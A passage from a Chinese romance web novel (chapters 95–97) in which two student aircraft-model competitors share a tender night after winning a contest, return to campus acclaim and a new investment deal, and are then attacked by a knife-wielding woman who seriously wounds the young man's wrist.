空气变得粘稠而滚烫,寂静的房间里只剩下彼此急促的喘息和唇舌交缠的暧昧声响。夏篱感觉自己像一叶扁舟,在汹涌的浪潮中被高高抛起又跌落,只能被动地承受着这几乎要将她淹没的热情。 就在她觉得自己快要窒息,意识都开始模糊的时候,唐简的攻势却骤然缓和了下来。 他的吻从狂风暴雨变成了和风细雨,但依旧深入,带着缠绵的意味。箍在她腰后的手力道松了些,转而一下下地、安抚般地摩挲着她的脊背。垫在她脑后的手抽了出来,捧住她的脸颊,拇指轻轻擦过她滚烫的皮肤和微微红肿的唇瓣。 他稍稍退开些许,额头抵着她的,呼吸依旧粗.重灼热,喷洒在她脸上。深邃的眼眸里翻涌着未退的情.潮,像暗沉的海,几乎要将她吸进去。 夏篱得以喘息,胸脯剧烈起伏着,眼神湿漉漉的,带着几分迷离和惊魂未定,望着近在咫尺的他。 “唐简……”她声音微哑,带着自己都没察觉的柔软。 这一声像是某种催化剂,唐简眼神一暗,喉结滚动,再次低头吻下来。 但这次夏篱微微偏头躲开了,他的唇只落在了她唇角。然而她却忘了脸侧还被唐简双手捧着,很快,她刚偏开的头就被他略带强势地转了回来,原本就有些麻意的嘴唇再次被他噙住。 也不知道又过去多久,他的吻开始沿着她的唇角下滑,落在她纤细的脖颈上,带着湿热的触感和轻微的啃咬,激起又一阵阵的战栗。夏篱忍不住轻哼出声,这声音仿佛刺激到了唐简,他的手重新握紧她的腰,几乎要将她揉进自己身体里。 就在夏篱觉得理智快要被燃烧殆尽,几乎要沉沦在这片陌生的、汹涌的凌乱中时,唐简的动作却毫无征兆地停了下来。 他埋首在她颈间,呼吸沉重而急促,灼热地喷在她的皮肤上,带来一阵麻痒。箍在她腰间的力道缓缓松开,转而将她轻轻地、却依旧紧密地圈在怀里。 房间里只剩下两人紊乱的喘息声,混乱而暧昧的气息仍在空气中弥漫。 过了好一会儿,唐简才抬起头,眼底翻涌的暗色尚未完全褪去,但眼神已经恢复了少许清明。他看着夏篱绯红的脸颊和有些红肿的唇瓣,拇指轻轻抚过她的唇角,声音沙哑得厉害:“……阿篱,你要永远喜欢我。” 就算未来的三年我不能时时刻刻陪在你身边,你也要,永远喜欢我。 第95章 房间里灼热的空气似乎还在震颤, 回荡着方才激烈的余韵。 夏篱微微喘息着,仰头看着唐简眼底未散的汹涌暗潮和那丝几乎难以察觉的脆弱。她瞬间就明白了。不是因为他突如其来的热烈,而是因为这热烈背后, 藏着他从未宣之于口的顾虑。 “唐建军,”她抬手, 指尖轻轻拂过他紧绷的下颌线,声音还带着些许亲吻后的微哑,眼神却清亮而坚定,“你是在担心你去海航的那三年吗?” 唐简身体几不可察地僵了一下,沉默地看着她, 默认了。 那双总是锐利深邃的眼睛, 此刻像蒙上了一层薄雾, 泄露了他心底最深处的秘密——对即将到来的分离的恐惧, 对无法参与她未来三年日常的无力,以及对那些可能出现的、他无法及时驱赶的“潜在威胁”的介意。 今天在领奖台上,看着她明媚动人的笑脸, 明明他也是为她而感到无限高兴的。可短短几个月后就要离开她的现实却毫无征兆且不合时宜地出现在他的脑海里。 那让他感到无比的心烦和沮丧,还有一种从内心深处无法抽离和剥落的忧虑。 虽然唐简并未开口说什么,但夏篱还是明白过来。 下学期他去海航, 这意味着,他们将有整整三年, 无法像现在这样朝夕相处。他会有全新的、她无法完全参与的环境和挑战,而她, 也将继续在北城大学,沿着自己的轨迹前行。 空间上的分离,时间上的拉长,以及未来不确定性的阴影, 这才是他此刻强势占有背后,深藏的不安源头。 夏篱用力回抱住唐简精瘦的腰身,将脸贴在他依旧有些急促起伏的胸口。 她能理解他的担忧,他们才刚刚确认彼此的心意不久,正应该是热恋中恨不能每分每秒都黏在一起的时候,却要面临如此长久的分别……更别提自从他们在一起后因为要忙各种各样的事,真正能独处的时间其实也是少之又少。 就像今天这间房间,他一定也只是想要和自己多一些二人世界而已。毕竟回国之后,他们面临的,将又是新一轮更加严峻的挑战。 然而夏篱忽然就笑了。 不是平日那种明亮飞扬的笑,而是带着了然、心疼和一点点对他这罕见不自信的揶揄。 “所以,”夏篱抬起头,伸手捧住唐简的脸,迫使他看着自己。她唇角弯起,带着点戏谑,眼神却无比认真,“你是在担心,你这张脸,还有你这又臭又硬的脾气,撑不过三年异地,我会被学校里其他温柔体贴的学长拐跑?” 唐简被她直白的话噎了一下,眉头习惯性地蹙起,眼底那点阴霾却被她这话冲散了些许。他握住她捧着自己脸的手,哼了一声:“谁敢?再说,”他顿了顿,视线瞥向一旁,“谁能比我好?” 看,还是那个骄傲又臭屁的唐简。 夏篱忍不住笑了出来,心底那点离愁别绪奇异地也被冲淡了。她故意逗他:“那可说不准,万一就有那种……嗯,特别善解人意,说话又好听,还不会总惹我生气的呢?” 唐简眼神一暗,低头在她唇上惩罚性地咬了一口……力道居然还挺大,夏篱下意识“嘶”了声,搂在他脖颈后的手揪着他后脑勺极短的头发往后扯了下,“唐建军!你属狗的吧?!” 唐简被骂了却反而心情很好似的笑了出来,他又低头在她刚被自己咬了的下唇舔了舔,贴着她唇又哼一声,“你想说的是‘程愈2.0’吗?” 对于自己曾经自以为是“喜欢”程愈并且兴致勃勃告诉唐简这件事,夏篱在明白自己对唐简的心意后,其实是一直以此为“黑历史”的——她觉得很丢脸。在夏篱的印象里,即便除了唐简自己还有其他选择,“程愈”这个人也不会是在选项之内的。 所以刚刚那句调侃,她压根儿就没想到过丝毫“程愈”,可显然自己的这段“黑历史”,对唐简的打击却很大……居然时时刻刻都记得。 夏篱鼓着腮帮子睨他:“…………你能不能别提他——”了。好丢脸。怎么还老翻旧账呢! 可惜她话还没说完,就听唐简又哼了声,“死心吧。他有喜欢的人。喜欢好多年了。” “……啊?”夏篱这下是真的震惊了,当然,更多的是好奇,“谁啊?你怎么知道的?” 没想到你还挺八卦。 “你干嘛对他那么好奇?”唐简不满道。 “……”夏篱无语,“讲道理,明明是你先提他的!” “可我提他是想让你否认他,不是让你好奇他的。” “……你好心机啊唐建军。” “……”哼。 夏篱揉了揉唐简的脸,嘟着嘴踮脚在他嘴唇上亲了口,“说说,程愈喜欢的是谁啊?你怎么知道的?” 唐简把头偏向一边,没吭声。 “……”夏篱好奇心被勾起来,一时半会儿也压不下去,只好能屈能伸,捧着他的脸又把他视线掰回来,“哎呀,别这么小气嘛!” “……”唐简低眉瞧着她,眼底其实渗出点不太明显的笑意,“你这是在撒娇吗?” “……”夏篱眨眨眼,“……算是?” 唐简唇角隐秘地提了提,“那再撒一个看看。” “……怎么撒?”夏篱心里啧声。 “你想怎么就怎么,”唐简说,“对爸妈他们你不是挺得心应手的吗。” 这也是从小他很羡慕她的其中之一。 但夏篱心说你还真是“强人所难”。 毕竟在她的思维里,“撒娇”是自然而然的事,即便是面对疼爱自己的长辈,她也从未有过为了撒娇而撒娇……这怎么搞? 夏篱大眼睛骨碌碌转了转,集毕生之所学,扬脸看着低头认真看着自己的唐简晃了晃身子:“嗯嗯~~嗯嗯~~” “噗哧——” 唐简一个没忍住,笑出了声。 夏篱翻着下眼白睨他,“你嘲笑我!” “没有。”唐简不假思索否认,随即终于忍不住大笑出声。低头用力在她唇上亲了口,又仰头哈哈笑起来,声音里满是愉悦。 天啊,他真是爱她。 夏篱盯着眼前唐简因为开怀而上下滑动的喉结,撇了撇嘴,下意识踮脚张嘴咬住那看着就碍眼的小尖尖。 唐简的笑声戛然而止。 察觉到他箍在自己腰间的手猛地收紧,甚至差点儿没勒断她的腰,夏篱才后知后觉反应过来自己干了什么…… 原本因为刚刚的插科打诨缓下去的硌人东西又重新精神起来,夏篱小心翼翼抬眼对上唐简瞬间又变得黑沉的眼睛,吞了吞口水:“如果我说我其实不是故意的……” 天地可鉴,她怎么能这么蠢呢。啧。 唐简握在夏篱腰间的力道越收越紧,看着夏篱的眼底也仿佛一场飓风一样要将她吸附进去,许久,他缓缓对她笑了笑,俯身将额头靠在她颈窝里,低声笑道:“阿篱,我爱你。” 这份爱,不知从何时何处起,等他察觉时,却仿佛早已渗入他身体里的每一个缝隙。 自从几个月前他正式跟自己表白,这其实还是唐简第一次说“爱”这个字。夏篱闻言一时情动,本能地张口想回应一句什么,只是刚说了个“我”字,就被唐简抬手轻轻捂住了嘴。 他在她颈窝里缓缓摇了摇头,“你还不明白的,阿篱。” 夏篱其实是真的没太明白,但不可否认的是,看着此时的唐简,她会觉得有点抱歉还有点心疼。 所以她乖乖地噤声,没再开口。 也不知道过去多久,唐简直起身子的同时冷不丁地也将夏篱一把打横抱起来就往房间里走。夏篱心里咯噔一下,攀着他的肩膀眼睛直往房间中央的那张大床上瞄。但好在很快警报解除,唐简只是抱着她松开搂在她腰后的那只手将窗帘给左右拉开。 窗外名古屋的夜空下,城市的灯火如同散落的星辰。 “好美啊。”她搂着他脖子,靠在他颈边感叹。 唐简侧头在她额头上吻了下。 眼下夏篱再次偷偷感叹于男女之间与生俱来的力量差距——即便只是用一只手,他抱着她却仿若无物一般,从沙发后背绕到前面,用空着的那只手拿靠枕摆了个舒服的姿势,他半躺半靠上去,然后再把自己放到腿上坐着搂到怀里。 臀下硌人的感觉让夏篱想忽视也忽视不了,可看唐简此时一副“云淡风轻”的模样,又给她整不会了——这怎么跟她了解到的不太一样啊? 她没敢动,只是瞅着唐简难掩好奇问:“……你不难受吗?” 唐简一手搂着她,一手枕在脑后,闻言低眉瞧她,“当然难受。” “……那你怎么……”夏篱斟酌着用词,“看起来……嗯,这么淡定?” “怎么,”唐简一挑眉毛,“你是想让我‘发疯’,还是想‘帮’我解决?” “…………”她什么都没想。 唐简深吸口气小心翼翼抱着她换了个姿势,才好笑道:“生理反应没办法,但这种情况忍一忍还是能过去的,没那么夸张。”人又不是畜生。 “哦……”她讪讪应声。 “但只限于现在。”随后他又补了句。 夏篱一时没反应过来:“嗯?” 唐简捏了捏她的脸,“比如结婚领证后啊,那我可就没这么‘绅士’了。” 虽然现在就谈结婚什么的让她有点不好意思,但夏篱闻言却不服输似的用两只手扯了扯他脸颊,“敬告这位‘法盲’先生,就算以后咱俩结婚,只要我不愿意你还能用强的啊?那是‘违背妇女意愿’,是犯法的我告诉你。” 唐简闻言却是一点不为所动,扭头亲亲她手指,笑得欠嗖嗖又不怀好意:“放心,我会让你愿意的。” “……”搞得好像你多有经验似的,还挺自信。 夏篱窝在唐简怀里靠了会儿,突然觉得不太对劲,好像是忘了什么一样。半晌,她终于想起来,抬头瞅着他,满眼幽怨,“你怎么说话不算数啊?” 唐简挑了挑眉。 “你刚刚说我撒完娇就告诉我程愈喜欢谁的啊?!” “……”怎么还记得! 夏篱戳戳他的脸,“骗子,快说!” 唐简叹了一口气,说,“他妹妹。” “啊?”夏篱愣了一下,惊圆了本就又大又圆的瞳仁,倒吸一口冷气,“他妹妹???你你你的意思是说他……他……”她惊得话都说不利索。 唐简拍拍她的头,淡定道,“他妹妹不是他亲妹妹,是他继母的女儿,只是后来他爸和他继母离婚后,他就好几年没见过她了。” 夏篱拍拍自己胸口,“……还好还好。”不然那也太吓人了。 唐简吃味道:“你还挺担心。” “……”夏篱无言以对,“不知道的还以为你是在醋桶里泡大的呢。” “…………” 第96章 窗外, 名古屋的夜色深沉,房间内暖黄的灯光柔和地洒落,将两人相拥的身影投在墙壁上。 唐简收紧环在夏篱腰间的手臂, 将下巴抵在她发顶,闻言理直气壮地轻哼一声:“不行吗?” 声音闷闷的, 带着点罕见的、近乎耍赖的意味。 夏篱在他怀里蹭了蹭,找到个更舒服的位置,仰起脸看他,好笑地点了点他鼻尖:“行,怎么不行。谁让你这么优秀, 连吃醋也要争当第一。” “……”唐简低头, 鼻尖轻轻蹭了蹭她的, 呼吸相闻, 距离近得能看清彼此眼中细碎的光影。他侧了侧头,还想再亲她,却被夏篱捂住了嘴。 那明亮的一双眼睛闪了闪, 看着他伸出食指晃了晃,“最后一个问题。” 唐简看着她眼中那难掩好奇的光,有种搬起石头砸自己脚的感觉, 轻叹口气,嗅着她掌心里甜甜的味道嗡声道:“你问。” 夏篱畏痒地蜷了蜷指尖, 说,“那现在呢?那个女孩在哪?” “具体的不太清楚, ”唐简把她往怀里又揽了揽,声音带着事不关己的平淡,“我也只是在队里听队友们闲聊时提过一两句,好像女孩后来跟着母亲去了国外就断了联系。” 他并不关心程愈的这段陈年情事, 先前提及,也不过是为了彻底掐灭夏篱对他任何一丝一毫残留的、哪怕只是纯粹好奇的火星。 夏篱“哦”了声,果然也没再继续探究下去。但当唐简再次凑过来时,她还是再次捂住了他的嘴。轻“嘶”一声皱着眉怀疑道:“……你真不会发疯吧?” “不会。”他看着她眼睛。 夏篱眯了眯眼,“可是都说‘男人的嘴骗人的鬼。’” 唐简嗤笑一声,“我不一样。” 你对自己可真自信——夏篱眼里全是这几个字。 唐简叹了口气,说,“我爸在我十三岁读初一那年就耳提面命地给我普及过这些东西了,还警告我要是敢乱来就打断我的腿……他在知道我们在一起后给我打的第一个电话就是要我保护好你,如果因为我让你受了委屈,我想他不但会打断我的腿,还会直接把我扔进海里喂鲨鱼。” 夏篱听得发笑,“所以你这么确信自己不会发疯原来是为了保全自己的腿啊?” “……”唐简“啧”了声。 沙发太小,他长手长腿地确实憋屈地不行,闻言坐起身子一把“端”起夏篱跨了一大步把她丢到床上,在她被床垫弹起的瞬间沉沉地压上去,低头在她下唇上咬了一口,“故意气我是吧?” 夏篱笑着摸了摸他的脸,“我还以为只有我妈妈会在我很小的时候就告诉我要保护好自己,原来爸爸也会这么教你们男生啊……” 想来老爸肯定也会如此教老哥吧……也不知道老哥未来会喜欢的嫂子是什么样子的? 看出来她的分心,唐简惩罚似地捏了捏她的脸。而且说到这里,他难免也有些好奇起来,将胳膊撑在夏篱头两侧,低头看她,“刚刚我没有提前跟你说,直接把你带到这里,你害怕了没有?” 夏篱闻言眨了眨眼,思忖少许,老实道:“害怕倒不至于……但确实有那么一瞬间的紧张。” “紧张什么?”他指尖绕着她一缕散落的发丝把玩着,笑问。 夏篱耸了耸鼻尖,刚开始没说话。少顷才双颊微红地攀着唐简肩膀凑到他耳边悄悄道:“因为是你我不害怕……紧张……是因为我也有点好奇。” 至于好奇什么……即便不说唐简也不可能不明白。 “…………” 沉默在两人之间蔓延。 他看着她,她看着他。 良久,唐简“蹭”一下从她身上弹射起身,连看夏篱一眼也没敢,匆匆丢下一句“我去趟浴室”就狼狈不堪地飞奔进去。随即,水龙头和花洒的水声一同响起来—— 声音大的再也听不到其他任何声音。 “……”夏篱盯着头顶的天花板,捏了捏自己微微发烫的脸。 等唐简从浴室里出来时,床上的夏篱早已经睡熟了。长长的睫毛在眼睑下投下柔和的阴影,脸颊还带着微醺的红晕,嘴唇微微嘟着,看起来毫无防备,乖巧得让人心头发软。 他静静地半跪在床边看着她,小心翼翼地调整呼吸,生怕惊扰了她的好眠。 这一刻,世界仿佛只剩下他们两人。 也不知道过去多久,他才起身轻手轻脚地从柜子里找出来另一床被子给她盖好,自己再关灯轻轻躺在另一侧。 时间悄然流逝,窗外的夜色愈发浓郁。唐简几乎没有挪动位置,生怕吵醒她。可听着近在咫尺人的清浅的呼吸,他却枕着手臂瞪着头顶昏暗的天花板毫无睡意。 后半夜,夏篱似乎睡得不太安稳,或许是潜意识里仍残留着白天比赛时的紧张。她无意识地蹙起眉头,嘴里发出含糊的呓语。 唐简立刻警觉,侧身去轻轻拍着她的背,低声道:“阿篱?” 夏篱没有完全醒来,只是下意识地往他怀里钻了钻,喃喃道:“唐简……飞机……” 唐简瞬间明白了。 就算是在梦里,她还在想着比赛时那惊险的一幕。 唐简的心像是被什么东西揪了一下,既心疼又骄傲。 他低下头,嘴唇贴近她的耳朵,用极尽温柔的声音安抚:“没事了,没事了,阿篱。飞机好好的,我们赢了。都过去了。” 他的声音似乎是起到了作用,夏篱紧绷的身体渐渐放松下来,呼吸重新变得均匀绵长。 而唐简却因此更是睡意全无。 借着窗外月色,他凝视着怀中的人,思绪翻飞。 今天的比赛,最后关头几乎是靠着他们之间无言的默契和绝对的信任才扭转乾坤。她毫不犹豫地启动应急算法覆盖他的手动操作,而他,在那一瞬间选择了完全信任她的判断。这种超越言语的配合,是无数次共同钻研和磨合的结果,也是他们自小一起长大点点滴滴成就起来的信赖。 他想起她站在答辩席上,面对评委提问时沉着冷静、条理清晰的模样;想起她在实验室里对着代码和数据眉头紧锁却又目光坚定的样子;想起她面对陆子航冯哲的刁难和梁清波的背叛时,那份受伤却依旧挺直的脊梁…… 他的阿篱,拥有自己的翅膀,并且正以惊人的速度变得强大,飞向更广阔的天空。 这让他无比自豪,却也……隐隐不安。 他离开的三年,注定会错过她大学生涯许多重要的时刻。她会遇到新的挑战,结识新的朋友,或许……还会遇到欣赏她、追求她的人。尽管他对自己、对他们的感情有信心,但一想到她可能真的遇到“程愈2.0”,那股熟悉的酸意和担忧又忍不住地冒头。 夜色里,唐简自嘲地笑了笑。 原来在爱情里,再自信的人,也难免会有患得患失的时候。 他低头,在她发间落下一个轻吻。 反正无论如何,他都不会放手。 三年的分离是挑战,但也是考验。 他会用行动证明,无论相隔多远,他的心始终在她这里。 他会努力变得更好,配得上如此优秀的她,也会让所有人知道,夏篱的身边,永远有唐简的位置。 思绪渐渐平息,困意终于袭来。唐简调整了一下姿势,小心地不让夏篱感到不适,然后也闭上了眼睛。怀中的温暖和均匀的呼吸声,成了最好的催眠曲。 第二天清晨,阳光透过窗帘的缝隙洒入房间,在地毯上投下斑驳的光点。 夏篱是被生物钟唤醒的。 她迷迷糊糊地睁开眼,首先映入眼帘的是唐简近在咫尺的睡颜。他睡着的样子很安静,少了平日里的冷峻和锐利,眉眼舒展,呼吸平稳,看起来竟有几分难得的柔和。他的手臂隔着厚厚的被子圈着她……夏篱这才发现自己一个人身下身上占了两床被子,而他竟然一夜什么都没盖。 不怕感冒吗?真是个笨蛋……她忍不住在心里嘀咕。动了动身子想把身上的被子给他盖身上去,可他手臂实在搂得紧,她像个蚕蛹似的被包着完全使不上力。 看着面前唐简眼下淡淡的青色,她直觉他昨晚应该睡得并不好。此时看着睡得不省人事的他,犹豫了半分钟,她没有再动,只是静静地看着他。 接连一段时间的疲惫经过一夜好眠,已经消散大半。回想起昨晚的点点滴滴,从庆功宴的喧闹,到房间里的亲吻、闲聊,再到……后来相拥而眠,她的脸颊微微发热,嘴角却不受控制地向上扬起。 她小心翼翼地伸出手指,隔空描摹着他浓密的眉毛,高挺的鼻梁,最后落在他微抿的薄唇上。就是这个人,从小和她一起长大,吵过闹过,也默默陪伴着。如今,成了她最亲密的人。 似乎察觉到她的注视,唐简的睫毛颤动了几下,缓缓睁开了眼睛。初醒的迷茫只持续了一瞬,在看到怀里的她时,立刻被清明和温柔取代。 “早。”夏篱轻声开口,笑容在脸上绽开。 “……早。”他声音带着刚睡醒的沙哑,性感得撩人。 两人对视着,谁也没有先动。 好一会儿,夏篱微微偏了偏视线,看着他耳后的墙壁说:“那个……我回去洗个澡换身衣服,一会儿见。” “嗯。”他应了声,却还是没动。 夏篱等了会儿,意有所指地点了点他胳膊。 唐简这才反应过来似的慢慢松开了紧抱着她的手臂。 夏篱坐起来,把身上的被子翻到他身上。 “你再睡会儿吧。” 唐简意外地没拒绝,甚至没起身送送她,只是看着她的身影消失在走廊拐角,听到门锁打开又合上的声音,他才把头埋进被子里,蜷了蜷身子。 …… 从名古屋载誉归来的航班上,奖杯被周予像捧着易碎珍宝一样,小心翼翼地放在随身行李舱内,时不时就要抬头确认一眼。 夏篱靠着窗,看着舷窗外翻涌的云海,手被唐简紧紧握着。他的拇指无意识地摩挲着她的虎口,带来细微而令人安心的触感。相较于其他人的亢奋,他显得平静许多,只是偶尔侧头看她时,眼底深处才漾开一片柔和的波光。 飞机落地北城国际机场,一行人推着行李走出抵达口时,被眼前的阵仗惊到了。 以王副院长为首的学校领导、院系老师,甚至还有学生代表,拉起了红色的欢迎横幅——“热烈祝贺北城大学航模社勇夺SAE东亚区总冠军暨技术创新特别奖!” 夏篱:“……” 唐简:“……” 众人:“……” 鲜花、掌声、闪烁的相机镜头瞬间将他们包围。 “辛苦了!同学们辛苦了!”王副院长满面红光,用力握住周予的手,又依次拍过唐简、夏篱等人的肩膀,喜悦之情溢于言表,“你们为学校争得了巨大的荣誉!好样的!都是好样的!” 校报和地方记者争相提问,话筒几乎要怼到他们脸上。 虽然对于学校最开始的“冷淡”心有怨言,也对如今的“热情”而无言以对,但周予作为社长,还是展现了身为社长的“能力”的。 唐简和夏篱默契地往后站了站,努力当着人群中的透明人。 回到学校,热烈的气氛更是有增无减。校园主干道的电子屏上滚动播放着喜报,航模社的壮举迅速传遍整个校园。紧接着,压根儿用不着他们费脑子去“诈”,学校的实质性奖励比起之前简直堪称火箭速度地一步到位。 在王副院长的亲自推动下,学校不仅迅速兑现了之前承诺的赛事奖金,还额外拨付了一笔数额可观的专项发展资金,用于支持航模社,特别是SAE高级组团队的后续研发和备战全球总决赛。甚至考虑到团队在技术深度和工程化方面面临的挑战,学校经过研究,特意为他们指派了一位资深顾问——航空航天学院在飞行器结构与材料领域颇有建树的资深教授。 众人虽各个心里都有点小九九,但敢怒不敢言,只有孙翡在每每“领导们”离开后,撇着嘴摇头晃脑地一脸嫌弃,惹得众人不禁发笑。不过有资深教授坐镇,很多时候确实于他们来说会方便许多。 李教授第一次来307实验室时,也没有过多的寒暄,直接走到已经有些残破但意义非凡的“探索者2号”旁边,仔细查看了机体结构等一系列问题后,也确实提出了几个团队之前因资源所限而妥协的设计点,同时也提出了几个切实可行的优化方案,甚至直接提供了几个高性能复合材料供应商的联系方式,表示可以帮忙牵线搭桥。 有了资金加码和资深教授的指导,团队还算如虎添翼。实验室里的气氛更加火热,但不再是之前那种被资源掣肘的焦虑和紧迫,而是充满了目标明确的干劲儿和无限的可能性。 周予更是忙得脚不沾地,除了协调团队内部,还要应对各方来的邀请和采访,俨然成了校园里的风云人物。 夏篱在校园里碰到过一次陆子航,只是那远远一瞥,她后知后觉竟发现自从比赛过后她好像许久都没见到过他,甚至连两周一次的金工实习课上也没看到他的身影。 但夏篱并未在意。 这天下午,周予接到了启明科技岑静助理的电话,约团队核心成员第二天上午去公司开会,商讨下一阶段的合作计划。 “终于来了!”周予挂断电话,忍不住兴奋地挥拳。 岑总那边肯定有下一步的大动作! 翌日上午十点,夏篱唐简和周予陈默四人准时出现在启明科技气派的会议室里。 会议进行得很顺利。 岑静亲自出席,听取了周予关于比赛总结和团队近期规划的汇报,并对他们夺冠再次表示了祝贺。 “你们用成绩证明了我们的投资眼光,”岑静目光扫过夏篱和唐简,笑了笑,“启明决定,启动下一轮投资,额度会比天使轮有显著提升。同时,我们会开放部分内部测试平台和专家资源,协助你们进行‘探索者3号’的研发,目标直指全球总决赛……冠军。” 她顿了顿,掠过周予激动惊诧却强忍镇定的脸,最后落在夏篱身上:“夏篱,你们最后关头的应急算法,引起了公司技术委员会的高度兴趣。我们希望能够与你们团队深度合作,将这部分技术进一步深化、封装,探索其在工业级无人机抗干扰领域的应用前景。这可能会是一个独立的合作项目。” 这是一个超出预期的提议,意味着他们的技术不再仅仅局限于学术竞赛,而是真正具备了商业化的潜力。周予激动得脸都红了,在一旁连连点头。夏篱也感到一阵振奋,这无疑是对她和团队技术路线的极大肯定。 会议在友好而富有建设性的氛围中结束。 岑静亲自将他们送到会议室门口,助理引着他们走向电梯。 走出启明科技宽敞明亮而温暖的大厅,旋转门外是北城初春还略有凉意的阳光和车水马龙的喧嚣。四人都不约而同地松了口气,心情如同这天气一般,明媚而充满希望。 “太好了!这下我们真的可以甩开膀子干了!”周予难掩兴奋,对着陈默挥舞着手臂,“新的资金,新的资源,还有技术合作项目!我们……” “淡定点,这么多人呢,”陈默一如既往地淡然处之,“别丢人现眼,社长。” “哎呀,你看看你,明明也高兴得很,装什么大尾巴狼——” 夏篱侧头看着两人笑了笑,心情看起来也非常好。 四人随着人流走向旋转门,唐简本能地让夏篱走在自己内侧。 与此同时,一个抱着一大束鲜艳百合花的年轻女人低着头,脚步有些急促地迎面走来,似乎也是要进入大楼。她的身影混在进出的人流中,并不起眼。 夏篱正仰头准备跟身侧的唐简说什么,而唐简的注意力也大部分都在她身上。 但在那抱花女人靠近到一定距离时,敏锐的直觉让唐简心头莫名一紧。 那女人的姿态有些怪异,不像寻常白领的从容,抱着花的手臂似乎也过于用力,手指甚至有些泛白。 就在女人与他们即将擦肩而过的瞬间,异变陡生! 她猛地抬起头,露出一张算得上清秀却写满了扭曲恨意的脸,目光死死锁在夏篱身上!紧接着,她以迅雷不及掩耳之势,将怀中的花束狠狠朝夏篱脸上砸来! “小心!”唐简的警告声和动作同时爆发! 他几乎在女人抬头的瞬间就已经侧身,一把将夏篱用力往自己身后揽去!同时,他右手疾探而出,不是去挡那束花,而是精准地抓向女人从花束底部抽出、借着掷出花束的掩护直刺过来的寒光! 那赫然是一把锋利的短刀! 一切发生在电光石火之间! “啊——!”周围响起一片惊恐的尖叫。 百合花散落一地,浓郁的花香瞬间弥漫开来。 唐简的手掌在千钧一发之际死死攥住了女人持刀的手腕!刀刃距离夏篱的身体仅有寸许! 女人眼中闪过一丝疯狂的决绝,手腕以一种诡异的角度猛地一旋一抽! 唐简闷哼一声,只觉得手腕处传来一阵尖锐的剧痛!温热的液体瞬间喷涌而出! 他因为要护着身后的夏篱,重心不稳,被女人挣脱开来。那女人见一击未能刺中夏篱,眼神更加疯狂,还想再次扑上,但已经被反应过来的周予和陈默还有旁边一名保安奋力拦住、制服。 夏篱被唐简牢牢护在身后,踉跄了几步才站稳,第一个念头是查看他的情况。 她看到他紧紧攥着自己的右手腕,指缝间,刺目的鲜血如同断了线的珠子,争先恐后地涌出,迅速染红了他深色的夹克袖口,滴滴答答地落在光洁如镜的大理石地面上,晕开一小片惊心动魄的猩红。 那出血的速度,快得极不寻常! 夏篱的大脑有瞬间的空白,她猛地抬头,看向唐简顷刻间失血泛白的脸,他额角沁出细密的冷汗,眉头因剧痛而紧蹙,但眼神依旧锐利,死死盯着被制住的女人,身体仍保持着将她护在身后的姿态。 一股源自生物本能、更源于深厚学识的恐惧,如同冰水般瞬间淹没了夏篱的四肢百骸,也淹没了她所有理智。 “唐简——!!!” 夏篱的惊叫声凄厉而绝望,猛地扑了上去,用颤抖的双手死死按住他不断涌出鲜血的手腕,那温热的、生命流逝的触感让她浑身冰冷,如坠冰窟。 第97章 唐简低头看了一眼扑过来的夏篱, 没来得及开口,便直直地扑通一声跪到血泊里。 他身型太过高大,夏篱接不住他, 跟着他跪倒在地。却不知哪里来得力气,几乎是粗暴地扯下自己胸前衬衣的领结带子, 动作迅捷而精准,用布条捆扎在唐简手腕上端,试图为他止血。 可她的整个手掌还是瞬间被温热的液体浸透,那粘稠的、带着铁锈味的猩红刺得她眼睛生疼。 尖锐的警笛声,打破了CBD午后的喧嚣。 周围嘈杂的人声源源不断, 但这一切在夏篱耳中都变得模糊不清。 她的世界只剩下唐简手腕处那片刺目的红, 以及他迅速失血而变得异常苍白的脸。 夏篱能感觉到唐简身体的微微颤动, 和他努力想要保持清醒而用力睁大的眼睛。他看着她, 那双总是锐利深邃的眼眸此刻因为疼痛和失血而显得有些涣散,但依旧努力聚焦在她脸上,嘴唇动了动, 似乎想说什么,却只逸出一声压抑的闷哼。 夏篱手忙脚乱地脱掉外套用手死死按在那可怕的伤口上,仿佛要将那喷涌的生命力强行按回他的身体里。 唐简的眉头因剧痛而紧紧锁着, 额头上细密的冷汗如瀑一样淌下来,下颌线绷得死紧, 呼吸变得粗重而急促。 她从未如此恐惧过。 甚至是外公突然病倒的那一刻,她都未曾像现在这样, 感觉整个世界都在眼前崩塌、碎裂。那种即将失去他的恐慌,像无数只冰冷的手,紧紧攥住了她的心脏,几乎要让她窒息。 时间在等待救护车的每一秒都变得无比漫长而煎熬。 大厅里乱成一团, 安保人员终于在警察来后控制了现场,疏散了围观的人群,岑静也闻讯赶来,看到地上的血迹和几乎已经快失去意识的唐简,冷静的面容上闪过一丝震惊和凝重。 “快联系医院。”她低声快速地吩咐助理。 陈默不知何时冲过来帮夏篱按住了唐简的伤处,她托着他的头,不停地跟他说话,声音颤抖却坚持。 唐简的视线有些模糊,迅速失血带来的眩晕感一阵阵袭来,但他能清晰地听到夏篱带着哭腔的声音,能闻到她发间熟悉的、让他安心的气息。他努力集中精神,对抗着不断下沉的意识,用尽力气,反手握了一下她沾满鲜血的手,力道却轻得几乎难以察觉。 终于,远处传来救护车尖锐而急促的鸣笛声,由远及近,如同天籁。 医护人员训练有素地冲进来。他们将唐简抬上担架,夏篱紧紧跟着,一步不离,目光死死锁在唐简脸上,仿佛一眨眼他就会消失。 去往医院的路上,车厢内弥漫着消毒水的味道。唐简用尽全力保持清醒。 他侧过头,看着跪坐在他身旁,脸色仿佛比他还要苍白的夏篱,她纯白的衣服上沾满了他的血,看上去触目惊心。 唐简说不出话,只能一遍遍用目光描摹着夏篱那张涕泗横流的脸。 连车厢里早已见惯了生离死别的医护人员仿佛都很难用语言描述出那年轻男孩的复杂眼神。 带着痛楚,带着不舍,更带着一种深沉的、无需言说的眷恋。 让人看得心惊。 救护车一路风驰电掣,闯过红灯,以最快的速度抵达了最近的三甲医院急诊中心。 唐简被迅速推进了抢救室。沉重的门在夏篱面前关上,亮起的“抢救中”红灯,像一块烧红的烙铁,烫在她的心上。 夏篱一个人僵立在抢救室外,浑身冰冷。手上、衣服上都是唐简的血,那浓郁的血腥气清晰地在提醒她刚才发生了什么。她靠着冰冷的墙壁,缓缓滑坐到地上,将脸埋进膝盖,肩膀无法控制地剧烈颤抖起来。 一个好心的护士小姐姐过来查看她的情况,见她身上并没伤口,没一会儿又拿了条湿了的毛巾过来让她把手和脸擦一擦。 